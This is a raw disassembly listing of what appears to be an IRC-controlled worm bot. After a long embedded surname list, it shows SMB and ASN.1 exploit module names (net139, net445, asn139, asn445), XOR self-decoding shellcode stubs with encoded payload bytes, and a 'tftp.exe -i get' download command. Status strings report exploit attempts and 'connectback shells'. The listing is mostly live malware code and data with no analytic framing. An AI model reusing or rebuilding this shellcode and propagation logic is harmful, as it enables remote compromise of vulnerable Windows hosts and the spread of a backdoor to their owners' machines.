aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DA18o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DA14o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DA10o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DA0Co
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DA08o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DA04o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DA00o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042D9FCo
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042D9F8o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042D9F4o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042D9F0o
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042D9ECo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042D9E8o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042D9E4o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: ___:0042D9DCo
					; ___:0042D9E0o
aCollis		db 'Collis',0           ; DATA XREF: ___:0042D9D8o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: ___:0042D9D4o
aColella	db 'Colella',0          ; DATA XREF: ___:0042D9D0o
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042D9CCo
aCoito		db 'Coito',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042D9C4o
aClow		db 'Clow',0             ; DATA XREF: ___:0042D9C0o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042D9BCo
aClement	db 'Clement',0          ; DATA XREF: ___:0042D9B8o
aClark		db 'Clark',0            ; DATA XREF: ___:0042D9B4o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042D9B0o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042D9ACo
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042D9A8o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042D9A4o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042D9A0o
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042D99Co
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042D998o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042D994o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042D990o
aChristie	db 'Christie',0         ; DATA XREF: ___:0042D98Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042D988o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: ___:0042D984o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042D980o
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042D97Co
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042D978o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042D974o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042D970o
		align 4
aChien		db 'Chien',0            ; DATA XREF: ___:0042D96Co
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042D968o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042D964o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042D960o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042D95Co
		align 4
aCharles	db 'Charles',0          ; DATA XREF: ___:0042D958o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042D954o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042D950o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042D94Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042D948o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042D944o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042D940o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042D93Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: ___:0042D938o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042D934o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042D930o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042D92Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042D928o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042D924o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042D920o
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042D91Co
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042D918o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042D914o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042D910o
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042D90Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042D908o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042D904o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042D900o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042D8FCo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042D8F8o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042D8F4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042D8F0o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042D8ECo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042D8E8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: ___:0042D8E4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042D8E0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042D8DCo
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042D8D8o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042D8D4o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042D8D0o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042D8CCo
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042D8C8o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042D8C4o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042D8C0o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042D8BCo
aBudding	db 'Budding',0          ; DATA XREF: ___:0042D8B8o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042D8B4o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042D8B0o
aBrook		db 'Brook',0            ; DATA XREF: ___:0042D8ACo
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: ___:0042D8A8o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042D8A4o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042D8A0o
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042D89Co
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042D898o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042D890o
					; ___:0042D894o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042D88Co
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042D888o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: ___:0042D884o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042D880o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042D87Co
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042D878o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042D874o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042D870o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042D86Co
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042D868o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042D864o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042D860o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042D85Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042D858o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042D854o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042D850o
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042D84Co
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042D848o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042D844o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042D840o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: ___:0042D83Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042D838o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042D834o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042D830o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042D82Co
		align 10h
aBook		db 'Book',0             ; DATA XREF: ___:0042D828o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042D824o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042D820o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042D81Co
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042D818o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042D814o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042D810o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042D80Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042D808o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042D804o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042D800o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042D7FCo
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042D7F8o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042D7F4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042D7F0o
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042D7ECo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042D7E8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042D7E4o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042D7E0o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042D7DCo
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042D7D8o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042D7D4o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042D7D0o
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042D7CCo
aBinion		db 'Binion',0           ; DATA XREF: ___:0042D7C8o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042D7C4o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042D7C0o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042D7BCo
aBetti		db 'Betti',0            ; DATA XREF: ___:0042D7B8o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042D7B4o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042D7B0o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042D7ACo
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042D7A8o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042D7A4o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042D7A0o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042D79Co
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042D798o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042D794o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042D790o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042D78Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042D788o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042D784o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042D780o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042D77Co
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042D778o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042D774o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042D770o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042D76Co
aBean		db 'Bean',0             ; DATA XREF: ___:0042D768o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: ___:0042D764o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042D760o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042D75Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042D758o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042D754o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042D750o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042D74Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042D748o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042D744o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042D740o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042D73Co
aBarry		db 'Barry',0            ; DATA XREF: ___:0042D738o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042D734o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042D730o
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042D72Co
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042D728o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042D724o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042D720o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042D71Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042D718o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042D714o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042D710o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042D70Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042D708o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042D704o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042D700o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042D6FCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042D6F8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042D6F4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042D6F0o
aBady		db 'Bady',0             ; DATA XREF: ___:0042D6ECo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: ___:0042D6E8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042D6E4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042D6E0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042D6DCo
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042D6D8o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042D6D4o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042D6D0o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042D6CCo
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042D6C8o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042D6C4o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042D6C0o
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042D6BCo
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042D6B8o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042D6B4o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042D6B0o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042D6ACo
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042D6A8o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042D6A4o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042D6A0o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042D69Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042D698o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042D694o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D690o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D68Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D688o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D684o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D680o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D67Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D678o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D674o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D670o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D66Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D668o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D664o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D660o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D65Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D658o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D654o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D650o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D64Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D648o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D644o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D640o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D63Co
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D638o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D634o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D630o
		align 4
byte_431288	db 50h			; DATA XREF: ___:0040ADEFo
					; ___:0040ADFCr
		db 43h,	2 dup(0)
dword_43128C	dd 7C7325h		; DATA XREF: ___:0040AE9Ao
dword_431290	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA4o
dword_431298	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Bo
					; sub_41AA42:loc_41AB05o
dword_43129C	dd 334B32h		; DATA XREF: ___:0040AF94o
dword_4312A0	dd 5058h		; DATA XREF: ___:0040AF86o
					; sub_41AA42+AAo
dword_4312A4	dd 4B32h		; DATA XREF: ___:0040AF76o
					; sub_41AA42+98o
dword_4312A8	dd 454Dh		; DATA XREF: ___:0040AF5Do
					; sub_41AA42+7Eo
dword_4312AC	dd 3839h		; DATA XREF: ___:0040AF4Do
					; sub_41AA42+6Co
dword_4312B0	dd 544Eh		; DATA XREF: ___:0040AF3Do
					; sub_41AA42+5Ao
dword_4312B4	dd 3539h		; DATA XREF: ___:0040AF2Fo
					; sub_41AA42+46o
dword_4312B8	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEA+3Ao
dword_4312C0	dd 5D4D5Bh		; DATA XREF: sub_40AFEA+2Co
					; sub_40AFEA+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEA+18o
					; sub_418211+5o
		align 4
		jmp	short loc_4312D0
; ---------------------------------------------------------------------------

loc_4312CE:				; CODE XREF: ___:loc_4312D0p
		jmp	short loc_4312D5
; ---------------------------------------------------------------------------

loc_4312D0:				; CODE XREF: ___:004312CCj
		call	loc_4312CE

loc_4312D5:				; CODE XREF: ___:loc_4312CEj
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh

loc_4312DC:				; CODE XREF: ___:004312E1j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_4312DC
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh

loc_4312F2:				; CODE XREF: ___:004312F7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4312F2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431394
		jnz	short loc_431380
		retn
; ---------------------------------------------------------------------------

loc_431380:				; CODE XREF: ___:0043137Dj
					; ___:0043138Dj
		call	near ptr loc_431385+1

loc_431385:				; CODE XREF: ___:loc_431380p
		add	[edx+0], ch
		call	sub_431394
		jz	loc_431380
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431394	proc near		; CODE XREF: ___:00431378p
					; ___:00431388p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431394	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C124+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DA+30o
		align 4
		dd 5 dup(0)
dword_431440	dd 0B97h		; DATA XREF: sub_401ACD+1DA0r
					; sub_401ACD+1DC9o ...
off_431444	dd offset sub_40E0D0	; DATA XREF: sub_40C124+1EAr
dword_431448	dd 0			; DATA XREF: sub_40B64A+2Eo
					; ___:0040D495w ...
dword_43144C	dd 1			; DATA XREF: sub_40BACD+1Fr
dword_431450	dd 1			; DATA XREF: sub_40BACD+3B3r
dword_431454	dd 0			; DATA XREF: sub_40BACD+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E206h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Eh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Eh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2D9h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2D9h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2D9h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn139_0	db 'asn139',0
		align 10h
		db 2 dup(0)
byte_431622	db 1			; DATA XREF: sub_401ACD:loc_4037E6r
					; sub_401ACD+1D23o
aAsn445_0	db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_43164E

; =============== S U B	R O U T	I N E =======================================



sub_43163E	proc near		; CODE XREF: sub_43163E:loc_43164Ep
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_431646:				; CODE XREF: sub_43163E+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431646
		jmp	short loc_431653
; ---------------------------------------------------------------------------

loc_43164E:				; CODE XREF: ___:0043163Cj
		call	sub_43163E

loc_431653:				; CODE XREF: sub_43163E+Ej
		jo	short near ptr dword_4315DC+12h
		cwde
		cdq
		cdq
		retn
sub_43163E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o
		align 10h
dword_4317D0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64A+46o
unk_4317DC	db  2Dh	; -		; DATA XREF: sub_40B64A+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_4317FC	db  2Dh	; -		; DATA XREF: sub_40B719+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431844	db  2Dh	; -		; DATA XREF: sub_40B785+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DA+7Fo
dword_431880	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o
dword_431890	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DA+14o
		dd 7473694Ch, 3Ah
unk_4318AC	db  2Dh	; -		; DATA XREF: ___:0040BA13o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318E0	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
